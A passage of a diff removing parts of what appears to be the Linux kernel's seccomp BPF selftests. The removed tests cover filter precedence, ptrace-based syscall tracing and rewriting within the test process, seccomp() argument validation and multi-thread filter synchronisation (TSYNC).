-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->error);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	EXPECT_EQ(0, syscall(__NR_getpid));
-}
-
-TEST_F(precedence, trace_is_fourth) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* No ptracer */
-	EXPECT_EQ(-1, syscall(__NR_getpid));
-}
-
-TEST_F(precedence, trace_is_fourth_in_any_order) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	pid_t parent = getppid();
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->trace);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->allow);
-	ASSERT_EQ(0, ret);
-	/* Should work just fine. */
-	EXPECT_EQ(parent, syscall(__NR_getppid));
-	/* No ptracer */
-	EXPECT_EQ(-1, syscall(__NR_getpid));
-}
-
-#ifndef PTRACE_O_TRACESECCOMP
-#define PTRACE_O_TRACESECCOMP	0x00000080
-#endif
-
-/* Catch the Ubuntu 12.04 value error. */
-#if PTRACE_EVENT_SECCOMP != 7
-#undef PTRACE_EVENT_SECCOMP
-#endif
-
-#ifndef PTRACE_EVENT_SECCOMP
-#define PTRACE_EVENT_SECCOMP 7
-#endif
-
-#define IS_SECCOMP_EVENT(status) ((status >> 16) == PTRACE_EVENT_SECCOMP)
-bool tracer_running;
-void tracer_stop(int sig)
-{
-	tracer_running = false;
-}
-
-typedef void tracer_func_t(struct __test_metadata *_metadata,
-			   pid_t tracee, int status, void *args);
-
-void tracer(struct __test_metadata *_metadata, int fd, pid_t tracee,
-	    tracer_func_t tracer_func, void *args) {
-	int ret = -1;
-	struct sigaction action = {
-		.sa_handler = tracer_stop,
-	};
-
-	/* Allow external shutdown. */
-	tracer_running = true;
-	ASSERT_EQ(0, sigaction(SIGUSR1, &action, NULL));
-
-	errno = 0;
-	while (ret == -1 && errno != EINVAL) {
-		ret = ptrace(PTRACE_ATTACH, tracee, NULL, 0);
-	}
-	ASSERT_EQ(0, ret) {
-		kill(tracee, SIGKILL);
-	}
-	/* Wait for attach stop */
-	wait(NULL);
-
-	ret = ptrace(PTRACE_SETOPTIONS, tracee, NULL, PTRACE_O_TRACESECCOMP);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Failed to set PTRACE_O_TRACESECCOMP");
-		kill(tracee, SIGKILL);
-	}
-	ptrace(PTRACE_CONT, tracee, NULL, 0);
-
-	/* Unblock the tracee */
-	ASSERT_EQ(1, write(fd, "A", 1));
-	ASSERT_EQ(0, close(fd));
-
-	/* Run until we're shut down. Must assert to stop execution. */
-	while (tracer_running) {
-		int status;
-		if (wait(&status) != tracee)
-			continue;
-		if (WIFSIGNALED(status) || WIFEXITED(status))
-			/* Child is dead. Time to go. */
-			return;
-
-		/* Make sure this is a seccomp event. */
-		ASSERT_EQ(true, IS_SECCOMP_EVENT(status));
-
-		tracer_func(_metadata, tracee, status, args);
-
-		ret = ptrace(PTRACE_CONT, tracee, NULL, NULL);
-		ASSERT_EQ(0, ret);
-	}
-	/* Directly report the status of our test harness results. */
-	syscall(__NR_exit, _metadata->passed ? EXIT_SUCCESS : EXIT_FAILURE);
-}
-
-/* Common tracer setup/teardown functions. */
-void cont_handler(int num) {
-}
-pid_t setup_trace_fixture(struct __test_metadata *_metadata,
-			  tracer_func_t func, void *args) {
-	char sync;
-	int pipefd[2];
-	pid_t tracer_pid;
-	pid_t tracee = getpid();
-
-	/* Setup a pipe for clean synchronization. */
-	ASSERT_EQ(0, pipe(pipefd));
-
-	/* Fork a child which we'll promote to tracer */
-	tracer_pid = fork();
-	ASSERT_LE(0, tracer_pid);
-	signal(SIGALRM, cont_handler);
-	if (tracer_pid == 0) {
-		close(pipefd[0]);
-		tracer(_metadata, pipefd[1], tracee, func, args);
-		syscall(__NR_exit, 0);
-	}
-	close(pipefd[1]);
-	prctl(PR_SET_PTRACER, tracer_pid, 0, 0, 0);
-	read(pipefd[0], &sync, 1);
-	close(pipefd[0]);
-
-	return tracer_pid;
-}
-void teardown_trace_fixture(struct __test_metadata *_metadata,
-			    pid_t tracer) {
-	if (tracer) {
-		int status;
-		/*
-		 * Extract the exit code from the other process and
-		 * adopt it for ourselves in case its asserts failed.
-		 */
-		ASSERT_EQ(0, kill(tracer, SIGUSR1));
-		ASSERT_EQ(tracer, waitpid(tracer, &status, 0));
-		if (WEXITSTATUS(status))
-			_metadata->passed = 0;
-	}
-}
-
-/* "poke" tracer arguments and function. */
-struct tracer_args_poke_t {
-	unsigned long poke_addr;
-};
-
-void tracer_poke(struct __test_metadata *_metadata, pid_t tracee, int status,
-		 void *args) {
-	int ret;
-	unsigned long msg;
-	struct tracer_args_poke_t *info = (struct tracer_args_poke_t *)args;
-
-	ret = ptrace(PTRACE_GETEVENTMSG, tracee, NULL, &msg);
-	EXPECT_EQ(0, ret);
-	/* If this fails, don't try to recover. */
-	ASSERT_EQ(0x1001, msg) {
-		kill(tracee, SIGKILL);
-	}
-	/*
-	 * Poke in the message.
-	 * Registers are not touched to try to keep this relatively arch
-	 * agnostic.
-	 */
-	ret = ptrace(PTRACE_POKEDATA, tracee, info->poke_addr, 0x1001);
-	EXPECT_EQ(0, ret);
-}
-
-FIXTURE_DATA(TRACE_poke) {
-	struct sock_fprog prog;
-	pid_t tracer;
-	long poked;
-	struct tracer_args_poke_t tracer_args;
-};
-
-FIXTURE_SETUP(TRACE_poke) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE | 0x1001),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-
-	self->poked = 0;
-	memset(&self->prog, 0, sizeof(self->prog));
-	self->prog.filter = malloc(sizeof(filter));
-	ASSERT_NE(NULL, self->prog.filter);
-	memcpy(self->prog.filter, filter, sizeof(filter));
-	self->prog.len = (unsigned short)(sizeof(filter)/sizeof(filter[0]));
-
-	/* Set up tracer args. */
-	self->tracer_args.poke_addr = (unsigned long)&self->poked;
-
-	/* Launch tracer. */
-	self->tracer = setup_trace_fixture(_metadata, tracer_poke,
-					   &self->tracer_args);
-}
-
-FIXTURE_TEARDOWN(TRACE_poke) {
-	teardown_trace_fixture(_metadata, self->tracer);
-	if (self->prog.filter)
-		free(self->prog.filter);
-};
-
-TEST_F(TRACE_poke, read_has_side_effects) {
-	ssize_t ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(0, self->poked);
-	ret = read(-1, NULL, 0);
-	EXPECT_EQ(-1, ret);
-	EXPECT_EQ(0x1001, self->poked);
-}
-
-TEST_F(TRACE_poke, getpid_runs_normally) {
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	EXPECT_EQ(0, self->poked);
-	EXPECT_NE(0, syscall(__NR_getpid));
-	EXPECT_EQ(0, self->poked);
-}
-
-#if defined(__x86_64__)
-# define ARCH_REGS	struct user_regs_struct
-# define SYSCALL_NUM	orig_rax
-# define SYSCALL_RET	rax
-#elif defined(__i386__)
-# define ARCH_REGS	struct user_regs_struct
-# define SYSCALL_NUM	orig_eax
-# define SYSCALL_RET	eax
-#elif defined(__arm__)
-# define ARCH_REGS	struct pt_regs
-# define SYSCALL_NUM	ARM_r7
-# define SYSCALL_RET	ARM_r0
-#elif defined(__aarch64__)
-# define ARCH_REGS	struct user_pt_regs
-# define SYSCALL_NUM	regs[8]
-# define SYSCALL_RET	regs[0]
-#else
-# error "Do not know how to find your architecture's registers and syscalls"
-#endif
-
-/* Architecture-specific syscall fetching routine. */
-int get_syscall(struct __test_metadata *_metadata, pid_t tracee) {
-	struct iovec iov;
-	ARCH_REGS regs;
-
-	iov.iov_base = &regs;
-	iov.iov_len = sizeof(regs);
-	EXPECT_EQ(0, ptrace(PTRACE_GETREGSET, tracee, NT_PRSTATUS, &iov)) {
-		TH_LOG("PTRACE_GETREGSET failed");
-		return -1;
-	}
-
-	return regs.SYSCALL_NUM;
-}
-
-/* Architecture-specific syscall changing routine. */
-void change_syscall(struct __test_metadata *_metadata,
-		    pid_t tracee, int syscall) {
-	struct iovec iov;
-	int ret;
-	ARCH_REGS regs;
-
-	iov.iov_base = &regs;
-	iov.iov_len = sizeof(regs);
-	ret = ptrace(PTRACE_GETREGSET, tracee, NT_PRSTATUS, &iov);
-	EXPECT_EQ(0, ret);
-
-#if defined(__x86_64__) || defined(__i386__) || defined(__aarch64__)
-	{
-		regs.SYSCALL_NUM = syscall;
-	}
-
-#elif defined(__arm__)
-# ifndef PTRACE_SET_SYSCALL
-#  define PTRACE_SET_SYSCALL   23
-# endif
-	{
-		ret = ptrace(PTRACE_SET_SYSCALL, tracee, NULL, syscall);
-		EXPECT_EQ(0, ret);
-	}
-
-#else
-	ASSERT_EQ(1, 0) {
-		TH_LOG("How is the syscall changed on this architecture?");
-	}
-#endif
-
-	/* If syscall is skipped, change return value. */
-	if (syscall == -1)
-		regs.SYSCALL_RET = 1;
-
-	ret = ptrace(PTRACE_SETREGSET, tracee, NT_PRSTATUS, &iov);
-	EXPECT_EQ(0, ret);
-}
-
-void tracer_syscall(struct __test_metadata *_metadata, pid_t tracee,
-		    int status, void *args) {
-	int ret;
-	unsigned long msg;
-
-	/* Make sure we got the right message. */
-	ret = ptrace(PTRACE_GETEVENTMSG, tracee, NULL, &msg);
-	EXPECT_EQ(0, ret);
-
-	switch (msg) {
-	case 0x1002:
-		/* change getpid to getppid. */
-		change_syscall(_metadata, tracee, __NR_getppid);
-		break;
-	case 0x1003:
-		/* skip gettid. */
-		change_syscall(_metadata, tracee, -1);
-		break;
-	case 0x1004:
-		/* do nothing (allow getppid) */
-		break;
-	default:
-		EXPECT_EQ(0, msg) {
-			TH_LOG("Unknown PTRACE_GETEVENTMSG: 0x%lx", msg);
-			kill(tracee, SIGKILL);
-		}
-	}
-
-}
-
-FIXTURE_DATA(TRACE_syscall) {
-	struct sock_fprog prog;
-	pid_t tracer, mytid, mypid, parent;
-};
-
-FIXTURE_SETUP(TRACE_syscall) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE | 0x1002),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_gettid, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE | 0x1003),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getppid, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE | 0x1004),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-
-	memset(&self->prog, 0, sizeof(self->prog));
-	self->prog.filter = malloc(sizeof(filter));
-	ASSERT_NE(NULL, self->prog.filter);
-	memcpy(self->prog.filter, filter, sizeof(filter));
-	self->prog.len = (unsigned short)(sizeof(filter)/sizeof(filter[0]));
-
-	/* Prepare some testable syscall results. */
-	self->mytid = syscall(__NR_gettid);
-	ASSERT_GT(self->mytid, 0);
-	ASSERT_NE(self->mytid, 1) {
-		TH_LOG("Running this test as init is not supported. :)");
-	}
-
-	self->mypid = getpid();
-	ASSERT_GT(self->mypid, 0);
-	ASSERT_EQ(self->mytid, self->mypid);
-
-	self->parent = getppid();
-	ASSERT_GT(self->parent, 0);
-	ASSERT_NE(self->parent, self->mypid);
-
-	/* Launch tracer. */
-	self->tracer = setup_trace_fixture(_metadata, tracer_syscall, NULL);
-}
-
-FIXTURE_TEARDOWN(TRACE_syscall) {
-	teardown_trace_fixture(_metadata, self->tracer);
-	if (self->prog.filter)
-		free(self->prog.filter);
-};
-
-TEST_F(TRACE_syscall, syscall_allowed) {
-	long ret;
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	/* getppid works as expected (no changes). */
-	EXPECT_EQ(self->parent, syscall(__NR_getppid));
-	EXPECT_NE(self->mypid, syscall(__NR_getppid));
-}
-
-TEST_F(TRACE_syscall, syscall_redirected) {
-	long ret;
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	/* getpid has been redirected to getppid as expected. */
-	EXPECT_EQ(self->parent, syscall(__NR_getpid));
-	EXPECT_NE(self->mypid, syscall(__NR_getpid));
-}
-
-TEST_F(TRACE_syscall, syscall_dropped) {
-	long ret;
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog, 0, 0);
-	ASSERT_EQ(0, ret);
-
-	/* gettid has been skipped and an altered return value stored. */
-	EXPECT_EQ(1, syscall(__NR_gettid));
-	EXPECT_NE(self->mytid, syscall(__NR_gettid));
-}
-
-#ifndef __NR_seccomp
-# if defined(__i386__)
-#  define __NR_seccomp 354
-# elif defined(__x86_64__)
-#  define __NR_seccomp 317
-# elif defined(__arm__)
-#  define __NR_seccomp 383
-# elif defined(__aarch64__)
-#  define __NR_seccomp 277
-# else
-#  warning "seccomp syscall number unknown for this architecture"
-#  define __NR_seccomp 0xffff
-# endif
-#endif
-
-#ifndef SECCOMP_SET_MODE_STRICT
-#define SECCOMP_SET_MODE_STRICT 0
-#endif
-
-#ifndef SECCOMP_SET_MODE_FILTER
-#define SECCOMP_SET_MODE_FILTER 1
-#endif
-
-#ifndef SECCOMP_FLAG_FILTER_TSYNC
-#define SECCOMP_FLAG_FILTER_TSYNC 1
-#endif
-
-#ifndef seccomp
-int seccomp(unsigned int op, unsigned int flags, struct sock_fprog *filter)
-{
-	errno = 0;
-	return syscall(__NR_seccomp, op, flags, filter);
-}
-#endif
-
-TEST(seccomp_syscall) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	/* Reject insane operation. */
-	ret = seccomp(-1, 0, &prog);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Did not reject crazy op value!");
-	}
-
-	/* Reject strict with flags or pointer. */
-	ret = seccomp(SECCOMP_SET_MODE_STRICT, -1, NULL);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Did not reject mode strict with flags!");
-	}
-	ret = seccomp(SECCOMP_SET_MODE_STRICT, 0, &prog);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Did not reject mode strict with uargs!");
-	}
-
-	/* Reject insane args for filter. */
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, -1, &prog);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Did not reject crazy filter flags!");
-	}
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, NULL);
-	EXPECT_EQ(EFAULT, errno) {
-		TH_LOG("Did not reject NULL filter!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog);
-	EXPECT_EQ(0, errno) {
-		TH_LOG("Kernel does not support SECCOMP_SET_MODE_FILTER: %s",
-			strerror(errno));
-	}
-}
-
-TEST(seccomp_syscall_mode_lock) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, NULL, 0, 0);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog);
-	EXPECT_EQ(0, ret) {
-		TH_LOG("Could not install filter!");
-	}
-
-	/* Make sure neither entry point will switch to strict. */
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, 0, 0, 0);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Switched to mode strict!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_STRICT, 0, NULL);
-	EXPECT_EQ(EINVAL, errno) {
-		TH_LOG("Switched to mode strict!");
-	}
-}
-
-TEST(TSYNC_first) {
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, NULL, 0, 0);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &prog);
-	EXPECT_EQ(0, ret) {
-		TH_LOG("Could not install initial filter with TSYNC!");
-	}
-}
-
-#define TSYNC_SIBLINGS 2
-struct tsync_sibling {
-	pthread_t tid;
-	pid_t system_tid;
-	sem_t *started;
-	pthread_cond_t *cond;
-	pthread_mutex_t *mutex;
-	int diverge;
-	int num_waits;
-	struct sock_fprog *prog;
-	struct __test_metadata *metadata;
-};
-
-FIXTURE_DATA(TSYNC) {
-	struct sock_fprog root_prog, apply_prog;
-	struct tsync_sibling sibling[TSYNC_SIBLINGS];
-	sem_t started;
-	pthread_cond_t cond;
-	pthread_mutex_t mutex;
-	int sibling_count;
-};
-
-FIXTURE_SETUP(TSYNC) {
-	struct sock_filter root_filter[] = {
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_filter apply_filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	memset(&self->root_prog, 0, sizeof(self->root_prog));
-	memset(&self->apply_prog, 0, sizeof(self->apply_prog));
-	memset(&self->sibling, 0, sizeof(self->sibling));
-	self->root_prog.filter = malloc(sizeof(root_filter));
-	ASSERT_NE(NULL, self->root_prog.filter);
-	memcpy(self->root_prog.filter, &root_filter, sizeof(root_filter));
-	self->root_prog.len = (unsigned short)(sizeof(root_filter)/sizeof(root_filter[0]));
-
-	self->apply_prog.filter = malloc(sizeof(apply_filter));
-	ASSERT_NE(NULL, self->apply_prog.filter);
-	memcpy(self->apply_prog.filter, &apply_filter, sizeof(apply_filter));
-	self->apply_prog.len = (unsigned short)(sizeof(apply_filter)/sizeof(apply_filter[0]));
-
-	self->sibling_count = 0;
-	pthread_mutex_init(&self->mutex, NULL);
-	pthread_cond_init(&self->cond, NULL);
-	sem_init(&self->started, 0, 0);
-	self->sibling[0].tid = 0;
-	self->sibling[0].cond = &self->cond;
-	self->sibling[0].started = &self->started;
-	self->sibling[0].mutex = &self->mutex;
-	self->sibling[0].diverge = 0;
-	self->sibling[0].num_waits = 1;
-	self->sibling[0].prog = &self->root_prog;
-	self->sibling[0].metadata = _metadata;
-	self->sibling[1].tid = 0;
-	self->sibling[1].cond = &self->cond;
-	self->sibling[1].started = &self->started;
-	self->sibling[1].mutex = &self->mutex;
-	self->sibling[1].diverge = 0;
-	self->sibling[1].prog = &self->root_prog;
-	self->sibling[1].num_waits = 1;
-	self->sibling[1].metadata = _metadata;
-}
-
-FIXTURE_TEARDOWN(TSYNC) {
-	int sib = 0;
-	if (self->root_prog.filter)
-		free(self->root_prog.filter);
-	if (self->apply_prog.filter)
-		free(self->apply_prog.filter);
-
-	for ( ; sib < self->sibling_count; ++sib) {
-		struct tsync_sibling *s = &self->sibling[sib];
-		void *status;
-		if (!s->tid)
-			continue;
-		if (pthread_kill(s->tid, 0)) {
-			//pthread_cancel(s->tid);  // ANDROID
-			pthread_join(s->tid, &status);
-		}
-	}
-	pthread_mutex_destroy(&self->mutex);
-	pthread_cond_destroy(&self->cond);
-	sem_destroy(&self->started);
-};
-
-void *tsync_sibling(void *data)
-{
-	long ret = 0;
-	struct tsync_sibling *me = data;
-	me->system_tid = syscall(__NR_gettid);
-
-	pthread_mutex_lock(me->mutex);
-	if (me->diverge) {
-		/* Just re-apply the root prog to fork the tree */
-		ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,
-				me->prog, 0, 0);
-	}
-	sem_post(me->started);
-	/* Return outside of started so parent notices failures. */
-	if (ret) {
-		pthread_mutex_unlock(me->mutex);
-		return (void *)SIBLING_EXIT_FAILURE;
-	}
-	do {
-		pthread_cond_wait(me->cond, me->mutex);
-		me->num_waits = me->num_waits - 1;
-	}
-	while (me->num_waits);
-	pthread_mutex_unlock(me->mutex);
-	long nnp = prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0);
-	if (!nnp)
-		return (void*)SIBLING_EXIT_NEWPRIVS;
-	read(0, NULL, 0);
-	return (void *)SIBLING_EXIT_UNKILLED;
-}
-
-void tsync_start_sibling(struct tsync_sibling *sibling)
-{
-	pthread_create(&sibling->tid, NULL, tsync_sibling, (void *)sibling);
-}
-
-TEST_F(TSYNC, siblings_fail_prctl) {
-	long ret;
-	void *status;
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			offsetof(struct seccomp_data, nr)),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_prctl, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO | EINVAL),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-
-	ASSERT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	/* Check prctl failure detection by requesting sib 0 diverge. */
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("setting filter failed");
-	}
-
-	self->sibling[0].diverge = 1;
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	/* Signal the threads to clean up*/
-	pthread_mutex_lock(&self->mutex);
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-
-	/* Ensure diverging sibling failed to call prctl. */
-	pthread_join(self->sibling[0].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_FAILURE, (long)status);
-	pthread_join(self->sibling[1].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_UNKILLED, (long)status);
-}
-
-TEST_F(TSYNC, two_siblings_with_ancestor) {
-	long ret;
-	void *status;
-
-	ASSERT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &self->root_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support SECCOMP_SET_MODE_FILTER!");
-	}
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Could install filter on all threads!");
-	}
-	/* Tell the siblings to test the policy */
-	pthread_mutex_lock(&self->mutex);
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-	/* Ensure they are both killed and don't exit cleanly. */
-	pthread_join(self->sibling[0].tid, &status);
-	EXPECT_EQ(0x0, (long)status);
-	pthread_join(self->sibling[1].tid, &status);
-	EXPECT_EQ(0x0, (long)status);
-}
-
-TEST_F(TSYNC, two_sibling_want_nnp) {
-	void *status;
-
-	/* start siblings before any prctl() operations */
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	/* Tell the siblings to test no policy */
-	pthread_mutex_lock(&self->mutex);
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-
-	/* Ensure they are both upset about lacking nnp. */
-	pthread_join(self->sibling[0].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_NEWPRIVS, (long)status);
-	pthread_join(self->sibling[1].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_NEWPRIVS, (long)status);
-}
-
-TEST_F(TSYNC, two_siblings_with_no_filter) {
-	long ret;
-	void *status;
-
-	/* start siblings before any prctl() operations */
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	ASSERT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Could install filter on all threads!");
-	}
-
-	/* Tell the siblings to test the policy */
-	pthread_mutex_lock(&self->mutex);
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-
-	/* Ensure they are both killed and don't exit cleanly. */
-	pthread_join(self->sibling[0].tid, &status);
-	EXPECT_EQ(0x0, (long)status);
-	pthread_join(self->sibling[1].tid, &status);
-	EXPECT_EQ(0x0, (long)status);
-}
-
-TEST_F(TSYNC, two_siblings_with_one_divergence) {
-	long ret;
-	void *status;
-
-	ASSERT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &self->root_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support SECCOMP_SET_MODE_FILTER!");
-	}
-	self->sibling[0].diverge = 1;
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(self->sibling[0].system_tid, ret) {
-		TH_LOG("Did not fail on diverged sibling.");
-	}
